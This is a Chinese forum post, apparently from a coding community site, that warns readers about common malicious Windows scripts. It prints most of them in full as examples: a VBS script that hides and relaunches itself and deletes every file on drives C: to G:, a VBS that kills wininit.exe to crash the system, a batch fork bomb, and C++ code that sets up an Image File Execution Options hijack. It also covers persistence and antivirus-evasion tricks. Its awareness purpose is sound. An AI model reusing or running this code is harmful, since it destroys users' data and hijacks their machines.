恶意代码要注意

这里有几个常用的恶意程序,如果有人发这些代码,请不要轻信。

1.关机

关键代码:shutdown -s (后加其他内容,如-f -t 0之类的。)

2.蓝屏

针对不好机子的BAT代码:%0|%0或%0||(%0|%0)||%0之类的。

通用的VBS代码:


On Error Resume Next
sub killtsk(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
set ws=Wscript.createobject("wscript.shell")
ws.run "taskmgr.exe",0
killtsk("wininit.exe")

3.注册表操作/文件夹操作实现开机自启动

winXP:警惕涉及C:\Documents and Settings<用户名字>\「开始」菜单\程序\启动 文件夹操作的程序。

win7:警惕涉及C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup文件夹操作的程序。 警惕凡出现HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run及类似含“Run”注册表路径的程序。

4.隐藏桌面、任务栏、运行窗口

关键C++代码:

inline void hide(){
HWND hwnd=GetForegroundWindow(),
hTaskBar=FindWindow(“Shell_TrayWnd”,NULL),
hDeskIcon=FindWindow(“Progman”,NULL),
hwndDesk=GetDesktopWindow();
ShowWindow(hwnd,false);
ShowWindow(hTaskBar,SW_SHOW);
ShowWindow(hDeskIcon,SW_SHOW);
}

5.删除或感染

此类操作一般为修改文件。

这是一个大量删除文件并自我复制,弹出无限错误窗口卡死机的VBS脚本:

On Error Resume Next
Sub fdel(sPath)
Set oFso = CreateObject(“Scripting.FileSystemObject”)
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
oFile.Delete
Next
For Each oSubFolder In oSubFolders
oSubFolder.Delete
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Sub
set ws=Wscript.createobject(“wscript.shell”)
set fso=wscript.createobject(“scripting.filesystemobject”)
set file=fso.getfile(wscript.scriptfullname)
path=file.path
file.attributes=1+2+4
ws.run path,0
msgbox “错误代码:0x10a2d5”,16,“系统警告”
fdel(“G:”)
fdel(“F:”)
fdel(“E:”)
fdel(“D:”)
fdel(“C:”)

6.添加任务计划以实现定时启动

关键BAT代码:

at 时间 /every:日期 一些BAT代码

7.逃杀

试图生成文本文件写入代码并在运行时才以参数传入以避免杀毒软件查杀,或者加密成乱码也有一定的逃杀效果。遇到此类文件,必须检查文本文件的内容。有时编写者可能同时使用两种方法,使得文本文件为乱码。遇到这一类的程序,请勿随便运行。

8.修改文件关联

关键BAT代码:assoc.后缀名=指定的文件关联

这可能会破坏文件,或者增加恶意程序被打开的几率(即将其他文件的关联指向自身)。

9.映像劫持

此类恶意程序风险极高,可以认为是强行修改文件关联,样例C++代码:

#include <windows.h>
int main(int argc, char* argv[]){
char temp[256];
DWORD ret;
LPCTSTR szRegKey=“SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”;
HKEY h_KEY;
if(argc!=1)
{
memset(temp,0,256);
strcpy(temp,argv[1]);
for(int i=0;i<strlen(temp);i++)
if(temp[i]’\’)
temp[i]=’/’;
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY);
if(retERROR_SUCCESS)
{
if(ERROR_SUCCESS==RegDeleteKey(h_KEY,“rav.exe”))
RegCloseKey(h_KEY),
WinExec(temp,SW_SHOW);
else
RegCloseKey(h_KEY);
}
else printf(“open failed!\n”);
}
memset(temp,0,256);
GetModuleFileName(NULL,temp,256);
HKEY hResultKey = NULL;
if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))
{
DWORD dw;
ret = RegCreateKeyEx(h_KEY,“rav.exe”, 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);
if (ret!=ERROR_SUCCESS)
RegCloseKey(h_KEY),
return 1;
ret=RegSetValueEx(hResultKey,“debugger”,0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);
if(ret!=ERROR_SUCCESS)
RegCloseKey(h_KEY),
RegCloseKey(hResultKey),
return 1;
RegCloseKey(h_KEY);
RegCloseKey(hResultKey);
}
return 0;
}

我能想到的暂时就这么多了,也许对大家有所帮助。

全部评论

相关推荐

不愿透露姓名的神秘牛友
07-16 18:03
点赞 评论 收藏
分享
认真搞学习:28小登的建议,投算法岗不要写什么物理竞赛,互联网+,多写点项目,用什么算法做了什么。还有本科算法是不可能的开发你这个也没有项目啊
点赞 评论 收藏
分享
Hakasee:我的简历和你的基本一样,上周去了上海,boss投了三百家, 三家线下面试 第一家没有做题,全是八股和项目,因为第一次面试不怎么熟练,挂了 第二家,给你几个题目(①css垂直居中文字,字体每两秒闪烁一下以及点击弹窗,②给你一个链接,实现可视化地图,③然后是八股,图片性能优化,以及对图片app有什么想法),45分钟内做完,然后老板面试) 第三家特别偏僻,有点阴森,到了之后让了一个工位给我,有四个题目,①格式化时间 年月日当前时间星期几② 正则表达式提取新闻文字,③在文本域输入文字生成选择题以及选项④生成商品排版还是什么来着 三家都是不超过50人的小公司 两家线上牛客笔试(卡伦特,七牛云,但是笔试不仅要考前端,还要考后端,算法,甚至数学题 我的建议是如果只做了这两个vue项目且不怎么熟练的情况下,先沉淀沉淀,把react学了,上海好的公司基本都是react查看图片
点赞 评论 收藏
分享
评论
点赞
收藏
分享

创作者周榜

更多
牛客网
牛客网在线编程
牛客网题解
牛客企业服务